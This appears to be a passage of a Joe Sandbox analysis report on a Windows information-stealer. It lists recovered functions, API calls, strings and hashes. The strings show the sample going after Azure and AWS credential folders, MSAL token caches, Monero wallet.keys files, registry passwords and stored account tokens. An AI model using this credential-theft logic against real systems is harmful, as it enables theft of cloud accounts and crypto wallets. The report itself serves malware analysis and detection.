Azure\.aws, xrefs: 00AD4E5F
\.aws\, xrefs: 00AD4E4D
\.IdentityService\, xrefs: 00AD4ED9
msal.cache, xrefs: 00AD4EF0
Azure\.azure, xrefs: 00AD4DD3

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 3a9f747850cb1ac90c5d2b7c6af92139436c7390c52efc32739cbd96db581a49
Instruction ID: 21cdff1b08d0e4f68f44463278e49055be7f3c4798d6b47fc05bc98323ab12ed
Opcode Fuzzy Hash: 3a9f747850cb1ac90c5d2b7c6af92139436c7390c52efc32739cbd96db581a49
Instruction Fuzzy Hash: F141927AA4031877DB50F770ED47FED3338AB24700F404954B58AA61C2EEB597C99B92

Function 00AC1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AC12B4
Part of subcall function 00AC12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00AC12BB
Part of subcall function 00AC12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00AC12D7
Part of subcall function 00AC12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00AC12F5
Part of subcall function 00AC12A0: RegCloseKey.ADVAPI32(?), ref: 00AC12FF

lstrcat.KERNEL32(?,00000000), ref: 00AC134F
lstrlen.KERNEL32(?), ref: 00AC135C
lstrcat.KERNEL32(?,.keys), ref: 00AC1377

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00AD8B60: GetSystemTime.KERNEL32(00AE0E1A,01789DE8,00AE05AE,?,?,00AC13F9,?,0000001A,00AE0E1A,00000000,?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00AD8B86

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00AC1465

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AC99EC
Part of subcall function 00AC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AC9A11
Part of subcall function 00AC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AC9A31
Part of subcall function 00AC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AC148F,00000000), ref: 00AC9A5A
Part of subcall function 00AC99C0: LocalFree.KERNEL32(00AC148F), ref: 00AC9A90
Part of subcall function 00AC99C0: CloseHandle.KERNEL32(000000FF), ref: 00AC9A9A

DeleteFileA.KERNEL32(00000000), ref: 00AC14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00AC1335
wallet_path, xrefs: 00AC1330
.keys, xrefs: 00AC136B
\Monero\wallet.keys, xrefs: 00AC138D

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 7c90022eea8f678030bb64e7ce042437462b8b6acbbab2fceff86a78edd79ca1
Instruction ID: 090d798c17d1ff549540b75898f03e310a6da3f418f8b55b91d41e9495ebf340
Opcode Fuzzy Hash: 7c90022eea8f678030bb64e7ce042437462b8b6acbbab2fceff86a78edd79ca1
Instruction Fuzzy Hash: 915176B1D5021957CB15FB60DE92FED733CAF64300F404599B60BA2192EE705B89CFA6

Function 00AC75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00AC733A
Part of subcall function 00AC72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00AC73B1
Part of subcall function 00AC72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00AC740D
Part of subcall function 00AC72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00AC7452
Part of subcall function 00AC72D0: HeapFree.KERNEL32(00000000), ref: 00AC7459

lstrcat.KERNEL32(35F15020,00AE17FC), ref: 00AC7606
lstrcat.KERNEL32(35F15020,00000000), ref: 00AC7648
lstrcat.KERNEL32(35F15020, : ), ref: 00AC765A
lstrcat.KERNEL32(35F15020,00000000), ref: 00AC768F
lstrcat.KERNEL32(35F15020,00AE1804), ref: 00AC76A0
lstrcat.KERNEL32(35F15020,00000000), ref: 00AC76D3
lstrcat.KERNEL32(35F15020,00AE1808), ref: 00AC76ED
task.LIBCPMTD ref: 00AC76FB

Strings

: , xrefs: 00AC764E

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: f33120a39e70ef57c36163ec19b0b5dfe3b3b2391c296d17b59af8f75f5e0c06
Instruction ID: e71ab6bb18dc3bc5ed7a8018693af48896cad0df0d8887e48b20fb21597c09fa
Opcode Fuzzy Hash: f33120a39e70ef57c36163ec19b0b5dfe3b3b2391c296d17b59af8f75f5e0c06
Instruction Fuzzy Hash: 2A313872900309EFCB04EBA8DD95FFE77B9BB48301B54851CF106A7390DA34A946DB62

Function 00AD7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00AD7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AD757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7603
RtlAllocateHeap.NTDLL(00000000), ref: 00AD760A
wsprintfA.USER32 ref: 00AD7640

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Strings

C, xrefs: 00AD754C
\, xrefs: 00AD7560
:, xrefs: 00AD755C

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: e2f5490ed9b1d3ced11c5dbe6e6ef584b6636c4b4395e672d96e1f31f5ec1a54
Instruction ID: b780ac1f881a6cf349e83150442aed4e5288175e18fb2191589d2e6c610109b6
Opcode Fuzzy Hash: e2f5490ed9b1d3ced11c5dbe6e6ef584b6636c4b4395e672d96e1f31f5ec1a54
Instruction Fuzzy Hash: 8741B6B1D04358ABDB10DF94DC45BDEB7B4EF08700F10409AF50AA7380E779AA44CBA5

Function 00AC72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00AC733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00AC73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00AC740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00AC7452
HeapFree.KERNEL32(00000000), ref: 00AC7459
task.LIBCPMTD ref: 00AC7555

Strings

Password, xrefs: 00AC7401

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: dc13949ae7066417d57a837fedbb3babc2e6bb3e2b53e6374ddbb6a838df494e
Instruction ID: bc8e9a1b0af54096cc1caf171b1a2c7df355a01b43db30e4ea7a268231e6b76f
Opcode Fuzzy Hash: dc13949ae7066417d57a837fedbb3babc2e6bb3e2b53e6374ddbb6a838df494e
Instruction Fuzzy Hash: 11610AB59042689BDB24DB50CD55FDEB7B8BF44300F0081E9E689A6241DBB46FC9CFA1

Function 00ACBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

lstrlen.KERNEL32(00000000), ref: 00ACBC9F

Part of subcall function 00AD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00AD8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00ACBCCD
lstrlen.KERNEL32(00000000), ref: 00ACBDA5
lstrlen.KERNEL32(00000000), ref: 00ACBDB9

Strings

AccountId, xrefs: 00ACBCC4
AccountTokens, xrefs: 00ACBB49
SELECT service, encrypted_token FROM token_service, xrefs: 00ACBBEB
AccountTokens, xrefs: 00ACBABA

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: e9c0acfce2a69cc1a77fdb2e73967988b2cd47e7a3e7a72d2340552b64b801d5
Instruction ID: 8bdec899dcc5acc10b48c0ba369604c3e8668eac5d31132357310c6f8cf4abea
Opcode Fuzzy Hash: e9c0acfce2a69cc1a77fdb2e73967988b2cd47e7a3e7a72d2340552b64b801d5
Instruction Fuzzy Hash: CFB143719102589BDB04FBA0DE96EEE7338BF64300F40455AF507A6291EF346A49CB76

Function 00AC4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00AC4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00AC4FD1
InternetOpenA.WININET(00AE0DDF,00000000,00000000,00000000,00000000), ref: 00AC4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00AC5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00AC5041
InternetCloseHandle.WININET(?), ref: 00AC50B9
InternetCloseHandle.WININET(?), ref: 00AC50C6

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
